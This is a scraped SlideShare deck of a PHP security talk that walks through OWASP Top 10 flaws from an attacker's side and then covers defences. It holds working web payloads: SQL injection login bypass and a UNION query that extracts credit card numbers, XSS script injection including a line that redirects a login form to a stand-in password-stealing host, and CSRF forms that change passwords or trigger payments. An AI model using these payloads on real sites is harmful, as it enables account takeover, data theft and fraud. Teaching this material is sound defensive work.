SlideShare una empresa de Scribd logo
1 de 109
Hacking Your Way
To Better Security
Colin O'Dell
@colinodell
Colin O’Dell
@colinodell
Lead Web Developer at Unleashed Technologies
PHP developer since 2002
league/commonmark maintainer
PHP 7 Upgrade Guide e-book author
php[world] 2015 CtF winner
Goals
Explore several top security vulnerabilities
from the perspective of an attacker.
1. Understand how to detect and exploit
common vulnerabilities
2. Learn how to protect against those
vulnerabilities
Disclaimers
1.NEVER test systems that aren’t
yours without explicit permission.
2.Examples in this talk are fictional, but
the vulnerability behaviors shown are
very real.
OWASP Top 10
OWASP Top 10
Regular publication by The Open Web
Application Security Project
Highlights the 10 most-critical web
application security risks
SQL
Injection
Modifying SQL statements to:
Spoof identity
Tamper with data
Disclose hidden information
SQL Injection Basics
$value = $_REQUEST['value'];
SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);
Username
Password
Log In
admin
password
Username
Password
Log In
admin
Invalid username or password. Please try again.
password'
Username
Password
Log In
admin
Unknown error.
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = 'password'';
$
$
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = 'password'';
$
~~
$
Username
Password
Log In
admin
Unknown error.
' test
Username
Password
Log In
admin
Unknown error.
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
$
$
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
$
$
~~~~~~~~
~~~~~~~~
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
SELECT * FROM users WHERE username = 'admin'
AND password = '';
SELECT * FROM users WHERE username = 'admin'
AND password = '' OR (something that is true);
SELECT * FROM users WHERE username = 'admin'
AND (true);
SELECT * FROM users WHERE username = 'admin';
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
~~~~~~~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
'
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
' '
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
~~~~~~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
' OR '
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
' OR '1'='1
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
Username
Password
Log In
admin
Unknown error.
' OR '1'='1
Welcome Admin!
Admin Menu:
Give customer money
Take money away
Review credit card applications
Close accounts
Blind SQL Injection
Blind SQL Injection
Invalid username or password. Please try again.
Unknown error.
Valid query
(empty result)
Invalid query
Welcome Admin! Valid query
(with result)
Username
Password
Log In
admin
' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
Log In
admin
' AND (SELECT id FROM user LIMIT 1) = '
Unknown error.
ErrorsQuery
SELECT * FROM users WHERE username = 'admin' AND
password = '' AND (SELECT id FROM user LIMIT 1) = '';
Username
Password
Log In
admin
' AND (SELECT id FROM user LIMIT 1) = '
ErrorsQuery
MySQL error: Unknown table 'user'.
Unknown error.
Username
Password
Log In
admin
' AND (SELECT id FROM users LIMIT 1) = '
ErrorsQuery
MySQL error: Unknown table 'user'.
Unknown error.
Username
Password
Log In
admin
Invalid username or password. Please try again.
SQL Injection:
Data Disclosure
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/123
SELECT * FROM books WHERE id = 123
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => 'The Great Gatsby',
'author' => 'F. Scott Fitzgerald',
'price' => 9.75
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999
SELECT * FROM books WHERE id = 99999
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/?????
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
Foo Bar 123
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Foo Bar 123
UNION
SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
(SELECT) 1 1
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
(SELECT) 1 1
UNION
SQL UNION Query
Column 1 Column 2 Column 3
(empty)
Column 1 Column 2 Column 3
(SELECT) 1 1
Column 1 Column 2 Column 3
(SELECT) 1 1
UNION
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM
creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS
'title', 1 AS 'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS
'title', 1 AS 'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999
UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM
creditcards
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS
'title', 1 AS 'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999
UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM
creditcards
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '4012-3456-7890-1234',
'author' => 1,
'price' => 1
}
$val = $_REQUEST['value'];
$sql = "SELECT * FROM x WHERE y = '$val' ";
$database->query($sql);
Protecting Against
SQL Injection
Block input with special
characters
Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x
WHERE y = '' OR '1' = '1'
Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x
WHERE y = '' OR '1' = '1'
Protecting Against
SQL Injection
Block input with special
characters
Escape user input
Use prepared statements
$mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();
Native PHP:
● mysqli
● pdo_mysql
Frameworks / Libraries:
● Doctrine
● Eloquent
● Zend_Db
Other Types of Injection
NoSQL databases
OS Commands
LDAP Queries
SMTP Headers
XSS
Cross-Site Scripting
Injecting code into the
webpage (for other users)
• Execute malicious
scripts
• Hijack sessions
• Install malware
• Deface websites
XSS Attack
Basics
$value = $_POST['value'];
$value = $rssFeed->first->title;
$value = db_fetch('SELECT x FROM table');
<?php echo $value ?>
Raw code/script
is injected onto a page
XSS – Cross-Site Scripting Basics
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
XSS – Cross-Site Scripting
short.ly
Paste a URL here Shorten
XSS – Cross-Site Scripting
short.ly
http://www.colinodell.com Shorten
XSS – Cross-Site Scripting
short.ly
http://www.colinodell.com Shorten
Short URL: http://short.ly/b7fe9
Original URL:http://www.colinodell.com
XSS – Cross-Site Scripting
short.ly
Please wait while we redirect you to
http://www.colinodell.com
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
hello world!
OK
X
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
<p>
Short URL:
<a href="…">http://short.ly/3bs8a</a>
</p>
<p>
Original URL:
<a href="…"><script>alert('hello world!');</script></a>
</p>
XSS – Cross-Site Scripting
short.ly
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
XSS – Cross-Site Scripting
short.ly
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
XSS – Cross-Site Scripting
short.ly
Please wait while we redirect you to
XSS – Cross-Site Scripting
document.getElementById('login-form').action =
'http://malicious-site.com/steal-passwords.php';
Protecting
Against XSS
Attacks $value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo $value ?>
Protecting
Against XSS
Attacks
• Filter user input
$value = strip_tags($_POST['value']);
$value = strip_tags(
db_fetch('SELECT value FROM table')
);
$value = strip_tags($rssFeed->first->title);
<?php echo $value ?>
Protecting
Against XSS
Attacks
• Filter user input
• Escape user
input
$value = htmlspecialchars($_POST['value']);
$value = htmlspecialchars(
db_fetch('SELECT value FROM table')
);
$value = htmlspecialchars($rssFeed->first->title);
<?php echo $value ?>
<script> &lt;script&gt;
htmlspecialchars()
Protecting
Against XSS
Attacks
• Filter user input
• Escape user
input
• Escape output
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo htmlspecialchars($value) ?>
Protecting
Against XSS
Attacks
• Filter user input
• Escape user
input
• Escape output
{{ some_variable }}
{{ some_variable|raw }}
CSRF
Cross-Site Request Forgery
Execute unwanted actions
on another site which user
is logged in to.
• Change password
• Transfer funds
• Anything the user can
do
CSRF – Cross-Site Request Forgery
Hi Facebook! I am
colinodell and my
password is *****.
Welcome Colin!
Here’s your
news feed.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
CSRF – Cross-Site Request Forgery
Hi other website!
Show me your
homepage.
Sure, here you go!
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Tell Facebook we want to
change our password to
hacked123
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Hi Facebook! Please
change my
password to
hacked123.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
Done!
CSRF – Cross-Site Request Forgery
short.ly
<img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten
CSRF – Cross-Site Request Forgery
short.ly
Please wait while we redirect you to
X
Protecting
Against CSRF
Attacks
Use randomized CSRF
tokens
<input type="hidden" name="token"
value="ao3i4yw90sae8rhsdrf">
1. Generate a random string per user.
2. Store it in their session.
3. Add to form as hidden field.
4. Compare submitted value to session
1. Same token? Proceed.
2. Different/missing? Reject the request.
Insecure
Direct Object
References
Access & manipulate
objects you shouldn’t
have access to
Insecure Direct Object References
Insecure Direct Object References
Beverly Coop
Insecure Direct Object References
Insecure Direct Object References
Insecure Direct Object References
Insecure Direct Object References
Protecting Against
Insecure Direct
Object References
Check permission on
data input
• URL / route parameters
• Form field inputs
• Basically anything that’s an ID
• If they don’t have permission,
show a 403 (or 404) page
Protecting Against
Insecure Direct
Object References
Check permission on
data input
Check permission on
data output
• Do they have permission to
access this object?
• Do they have permission to
even know this exists?
• This is not “security through
obscurity”
Sensitive Data
Exposure
Security
Misconfiguration
Components with
Known Vulnerabilities
http://www.example.com/CHANGELOG
http://www.example.com/composer.lock
http://www.example.com/.git/
http://www.example.com/.env
http://www.example.com/robots.txt
Sensitive Data Exposure
Sensitive Data Exposure - CHANGELOG
Sensitive Data Exposure – composer.lock
Sensitive Data Exposure – composer.lock
Sensitive Data Exposure – .git
Sensitive Data Exposure – robots.txt
Private information that is stored, transmitted, or backed-up in
clear text (or with weak encryption)
• Customer information
• Credit card numbers
• Credentials
Sensitive Data Exposure
Security Misconfiguration & Components with Known Vulnerabilities
Default accounts enabled; weak passwords
• admin / admin
Security configuration
• Does SSH grant root access?
• Are weak encryption keys used?
Out-of-date software
• Old versions with known issues
• Are the versions exposed?
• Unused software running (FTP server)
Components with Known Vulnerabilities
Components with Known Vulnerabilities
Components with Known Vulnerabilities
Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
• Install critical updates immediately
• Install other updates regularly
Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
• Files which provide version numbers
• README, CHANGELOG, .git, composer.lock
• Database credentials & API keys
• Encryption keys
Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
• Encrypt with a strong private key
• Encrypt backups and data-in-transit
• Use strong hashing techniques for
passwords
Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
Test your systems
• Scan your systems with automated
tools
• Test critical components yourself
• Automated tests
• Manual tests
Next Steps
Test your own applications for vulnerabilities
Learn more about security & ethical hacking
Enter security competitions (like CtF)
Stay informed
Questions?
Thanks!
Slides & feedback: https://joind.in/19189
Colin O'Dell
@colinodell

Más contenido relacionado

La actualidad más candente

DEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq liteDEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq liteFelipe Prado
 
Symfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technologySymfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technologyDaniel Knell
 
Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxMichelangelo van Dam
 
Возможности, особенности и проблемы AR::Relation
Возможности, особенности и проблемы AR::RelationВозможности, особенности и проблемы AR::Relation
Возможности, особенности и проблемы AR::RelationАлександр Ежов
 
Open Selector
Open SelectorOpen Selector
Open Selectorjjdelc
 
Scala ActiveRecord
Scala ActiveRecordScala ActiveRecord
Scala ActiveRecordscalaconfjp
 
Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6Riza Fahmi
 
Better Bullshit Driven Development [SeleniumCamp 2017]
Better Bullshit Driven Development [SeleniumCamp 2017]Better Bullshit Driven Development [SeleniumCamp 2017]
Better Bullshit Driven Development [SeleniumCamp 2017]automician
 
Security in laravel
Security in laravelSecurity in laravel
Security in laravelSayed Ahmed
 
SQL Transactions - What they are good for and how they work
SQL Transactions - What they are good for and how they workSQL Transactions - What they are good for and how they work
SQL Transactions - What they are good for and how they workMarkus Winand
 
Crafting beautiful software
Crafting beautiful softwareCrafting beautiful software
Crafting beautiful softwareJorn Oomen
 
Roman iovlev. Test UI with JDI - Selenium camp
Roman iovlev. Test UI with JDI - Selenium campRoman iovlev. Test UI with JDI - Selenium camp
Roman iovlev. Test UI with JDI - Selenium campРоман Иовлев
 

La actualidad más candente (20)

DEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq liteDEF CON 27 -OMER GULL - select code execution from using sq lite
DEF CON 27 -OMER GULL - select code execution from using sq lite
 
SQLAlchemy Seminar
SQLAlchemy SeminarSQLAlchemy Seminar
SQLAlchemy Seminar
 
Symfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technologySymfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technology
 
Dollar symbol
Dollar symbolDollar symbol
Dollar symbol
 
Separation of concerns - DPC12
Separation of concerns - DPC12Separation of concerns - DPC12
Separation of concerns - DPC12
 
jQuery introduction
jQuery introductionjQuery introduction
jQuery introduction
 
Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBenelux
 
Clean code
Clean codeClean code
Clean code
 
Возможности, особенности и проблемы AR::Relation
Возможности, особенности и проблемы AR::RelationВозможности, особенности и проблемы AR::Relation
Возможности, особенности и проблемы AR::Relation
 
Open Selector
Open SelectorOpen Selector
Open Selector
 
Scala ActiveRecord
Scala ActiveRecordScala ActiveRecord
Scala ActiveRecord
 
Web2py
Web2pyWeb2py
Web2py
 
Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6
 
Better Bullshit Driven Development [SeleniumCamp 2017]
Better Bullshit Driven Development [SeleniumCamp 2017]Better Bullshit Driven Development [SeleniumCamp 2017]
Better Bullshit Driven Development [SeleniumCamp 2017]
 
Security in laravel
Security in laravelSecurity in laravel
Security in laravel
 
Daily notes
Daily notesDaily notes
Daily notes
 
PhoneGap: Local Storage
PhoneGap: Local StoragePhoneGap: Local Storage
PhoneGap: Local Storage
 
SQL Transactions - What they are good for and how they work
SQL Transactions - What they are good for and how they workSQL Transactions - What they are good for and how they work
SQL Transactions - What they are good for and how they work
 
Crafting beautiful software
Crafting beautiful softwareCrafting beautiful software
Crafting beautiful software
 
Roman iovlev. Test UI with JDI - Selenium camp
Roman iovlev. Test UI with JDI - Selenium campRoman iovlev. Test UI with JDI - Selenium camp
Roman iovlev. Test UI with JDI - Selenium camp
 

Similar a Hacking Your Way to Better Security - PHP South Africa 2016

SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLPradeep Kumar
 
03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17Eoin Keary
 
SQL Injection in PHP
SQL Injection in PHPSQL Injection in PHP
SQL Injection in PHPDave Ross
 
SQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington BeachSQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington BeachJeff Prom
 
Out-of-band SQL Injection Attacks (#istsec)
Out-of-band SQL Injection Attacks (#istsec)Out-of-band SQL Injection Attacks (#istsec)
Out-of-band SQL Injection Attacks (#istsec)Ömer Çıtak
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 
2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQLHung-yu Lin
 
A Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLkobaitari
 
Owasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLiOwasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLiowaspindy
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
How did i steal your database
How did i steal your databaseHow did i steal your database
How did i steal your databaseMostafa Siraj
 
Locking Down Your MySQL Database.pptx
Locking Down Your MySQL Database.pptxLocking Down Your MySQL Database.pptx
Locking Down Your MySQL Database.pptxDave Stokes
 
Advanced Sql Injection ENG
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENGDmitry Evteev
 
How to lose your database and your job
How to lose your database and your jobHow to lose your database and your job
How to lose your database and your jobRyan Gooler
 

Similar a Hacking Your Way to Better Security - PHP South Africa 2016 (20)

Sql Injection Myths and Fallacies
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQL
 
03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17
 
SQL Injection in PHP
SQL Injection in PHPSQL Injection in PHP
SQL Injection in PHP
 
SQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington BeachSQL Injections - 2016 - Huntington Beach
SQL Injections - 2016 - Huntington Beach
 
Sql injection
Sql injectionSql injection
Sql injection
 
Out-of-band SQL Injection Attacks (#istsec)
Out-of-band SQL Injection Attacks (#istsec)Out-of-band SQL Injection Attacks (#istsec)
Out-of-band SQL Injection Attacks (#istsec)
 
SQL Injection Attacks
SQL Injection AttacksSQL Injection Attacks
SQL Injection Attacks
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
2nd-Order-SQLi-Josh
2nd-Order-SQLi-Josh2nd-Order-SQLi-Josh
2nd-Order-SQLi-Josh
 
Sql Injection
Sql InjectionSql Injection
Sql Injection
 
2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL
 
A Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQL
 
Owasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLiOwasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLi
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
How did i steal your database
How did i steal your databaseHow did i steal your database
How did i steal your database
 
Locking Down Your MySQL Database.pptx
Locking Down Your MySQL Database.pptxLocking Down Your MySQL Database.pptx
Locking Down Your MySQL Database.pptx
 
Advanced Sql Injection ENG
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENG
 
How to lose your database and your job
How to lose your database and your jobHow to lose your database and your job
How to lose your database and your job
 

Más de Colin O'Dell

Demystifying Unicode - Longhorn PHP 2021
Demystifying Unicode - Longhorn PHP 2021Demystifying Unicode - Longhorn PHP 2021
Demystifying Unicode - Longhorn PHP 2021Colin O'Dell
 
Releasing High Quality Packages - Longhorn PHP 2021
Releasing High Quality Packages - Longhorn PHP 2021Releasing High Quality Packages - Longhorn PHP 2021
Releasing High Quality Packages - Longhorn PHP 2021Colin O'Dell
 
Releasing High Quality PHP Packages - ConFoo Montreal 2019
Releasing High Quality PHP Packages - ConFoo Montreal 2019Releasing High Quality PHP Packages - ConFoo Montreal 2019
Releasing High Quality PHP Packages - ConFoo Montreal 2019Colin O'Dell
 
Debugging Effectively - ConFoo Montreal 2019
Debugging Effectively - ConFoo Montreal 2019Debugging Effectively - ConFoo Montreal 2019
Debugging Effectively - ConFoo Montreal 2019Colin O'Dell
 
Automating Deployments with Deployer - php[world] 2018
Automating Deployments with Deployer - php[world] 2018Automating Deployments with Deployer - php[world] 2018
Automating Deployments with Deployer - php[world] 2018Colin O'Dell
 
Releasing High-Quality Packages - php[world] 2018
Releasing High-Quality Packages - php[world] 2018Releasing High-Quality Packages - php[world] 2018
Releasing High-Quality Packages - php[world] 2018Colin O'Dell
 
Debugging Effectively - DrupalCon Nashville 2018
Debugging Effectively - DrupalCon Nashville 2018Debugging Effectively - DrupalCon Nashville 2018
Debugging Effectively - DrupalCon Nashville 2018Colin O'Dell
 
CommonMark: Markdown Done Right - ZendCon 2017
CommonMark: Markdown Done Right - ZendCon 2017CommonMark: Markdown Done Right - ZendCon 2017
CommonMark: Markdown Done Right - ZendCon 2017Colin O'Dell
 
Rise of the Machines: PHP and IoT - ZendCon 2017
Rise of the Machines: PHP and IoT - ZendCon 2017Rise of the Machines: PHP and IoT - ZendCon 2017
Rise of the Machines: PHP and IoT - ZendCon 2017Colin O'Dell
 
Debugging Effectively - All Things Open 2017
Debugging Effectively - All Things Open 2017Debugging Effectively - All Things Open 2017
Debugging Effectively - All Things Open 2017Colin O'Dell
 
Debugging Effectively - PHP UK 2017
Debugging Effectively - PHP UK 2017Debugging Effectively - PHP UK 2017
Debugging Effectively - PHP UK 2017Colin O'Dell
 
Debugging Effectively - SunshinePHP 2017
Debugging Effectively - SunshinePHP 2017Debugging Effectively - SunshinePHP 2017
Debugging Effectively - SunshinePHP 2017Colin O'Dell
 
Automating Your Workflow with Gulp.js - php[world] 2016
Automating Your Workflow with Gulp.js - php[world] 2016Automating Your Workflow with Gulp.js - php[world] 2016
Automating Your Workflow with Gulp.js - php[world] 2016Colin O'Dell
 
Rise of the Machines: PHP and IoT - php[world] 2016
Rise of the Machines: PHP and IoT - php[world] 2016Rise of the Machines: PHP and IoT - php[world] 2016
Rise of the Machines: PHP and IoT - php[world] 2016Colin O'Dell
 
Debugging Effectively - ZendCon 2016
Debugging Effectively - ZendCon 2016Debugging Effectively - ZendCon 2016
Debugging Effectively - ZendCon 2016Colin O'Dell
 
Debugging Effectively - DrupalCon Europe 2016
Debugging Effectively - DrupalCon Europe 2016Debugging Effectively - DrupalCon Europe 2016
Debugging Effectively - DrupalCon Europe 2016Colin O'Dell
 
CommonMark: Markdown done right - Nomad PHP September 2016
CommonMark: Markdown done right - Nomad PHP September 2016CommonMark: Markdown done right - Nomad PHP September 2016
CommonMark: Markdown done right - Nomad PHP September 2016Colin O'Dell
 
Debugging Effectively - Frederick Web Tech 9/6/16
Debugging Effectively - Frederick Web Tech 9/6/16Debugging Effectively - Frederick Web Tech 9/6/16
Debugging Effectively - Frederick Web Tech 9/6/16Colin O'Dell
 
Debugging Effectively
Debugging EffectivelyDebugging Effectively
Debugging EffectivelyColin O'Dell
 
CommonMark: Markdown Done Right
CommonMark: Markdown Done RightCommonMark: Markdown Done Right
CommonMark: Markdown Done RightColin O'Dell
 

Más de Colin O'Dell (20)

Demystifying Unicode - Longhorn PHP 2021
Demystifying Unicode - Longhorn PHP 2021Demystifying Unicode - Longhorn PHP 2021
Demystifying Unicode - Longhorn PHP 2021
 
Releasing High Quality Packages - Longhorn PHP 2021
Releasing High Quality Packages - Longhorn PHP 2021Releasing High Quality Packages - Longhorn PHP 2021
Releasing High Quality Packages - Longhorn PHP 2021
 
Releasing High Quality PHP Packages - ConFoo Montreal 2019
Releasing High Quality PHP Packages - ConFoo Montreal 2019Releasing High Quality PHP Packages - ConFoo Montreal 2019
